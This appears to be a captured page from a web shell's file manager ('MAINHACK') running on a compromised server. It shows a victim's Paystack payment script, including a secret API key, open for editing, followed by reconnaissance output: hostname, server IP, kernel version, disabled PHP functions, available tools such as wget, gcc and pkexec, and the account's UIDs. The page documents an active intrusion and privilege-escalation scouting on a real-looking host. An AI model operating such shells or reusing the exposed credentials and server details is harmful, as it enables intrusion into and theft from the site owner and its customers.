[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: initialize.php
<?php // initialize.php header('Content-Type: application/json'); // Replace with your Paystack test secret key $secret_key = 'sk_test_77c5c5a7dae446b78c0b0ebed6aaad8770407255'; // Get input from the form (sanitize inputs in production) $email = isset($_POST['email']) ? filter_var($_POST['email'], FILTER_SANITIZE_EMAIL) : null; $amount = isset($_POST['amount']) ? (float)$_POST['amount'] * 100 : null; // Convert to pesewas // Validate inputs if (!$email || !$amount || $amount <= 0) { http_response_code(400); echo json_encode(['status' => false, 'message' => 'Invalid email or amount']); exit; } // Initialize transaction $url = 'https://api.paystack.co/transaction/initialize'; $fields = [ 'email' => $email, 'amount' => $amount, // In pesewas 'currency' => 'GHS', // Explicitly set to Ghana Cedis 'callback_url' => 'https://yourdomain.com/verify.php', // Optional: Redirect after payment 'metadata' => json_encode(['custom_fields' => [ ['display_name' => 'User ID', 'variable_name' => 'user_id', 'value' => '12345'] ]]) ]; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($fields)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, [ 'Authorization: Bearer ' . $secret_key, 'Content-Type: application/json' ]); $response = curl_exec($ch); $curl_error = curl_error($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); // Check for cURL or HTTP errors if ($curl_error || $http_code !== 200) { http_response_code($http_code ?: 500); echo json_encode([ 'status' => false, 'message' => 'Initialization failed', 'error' => $curl_error ?: 'HTTP ' . $http_code, 'response' => $response ]); exit; } $result = json_decode($response, true); // Check Paystack API response if (!$result['status']) { http_response_code(400); echo json_encode([ 'status' => false, 'message' => 'Paystack API error: ' . ($result['message'] ?? 'Unknown error'), 'response' => $result ]); exit; } // Success: Return access_code echo json_encode([ 'status' => true, 'data' => $result['data'] ]); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.76 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002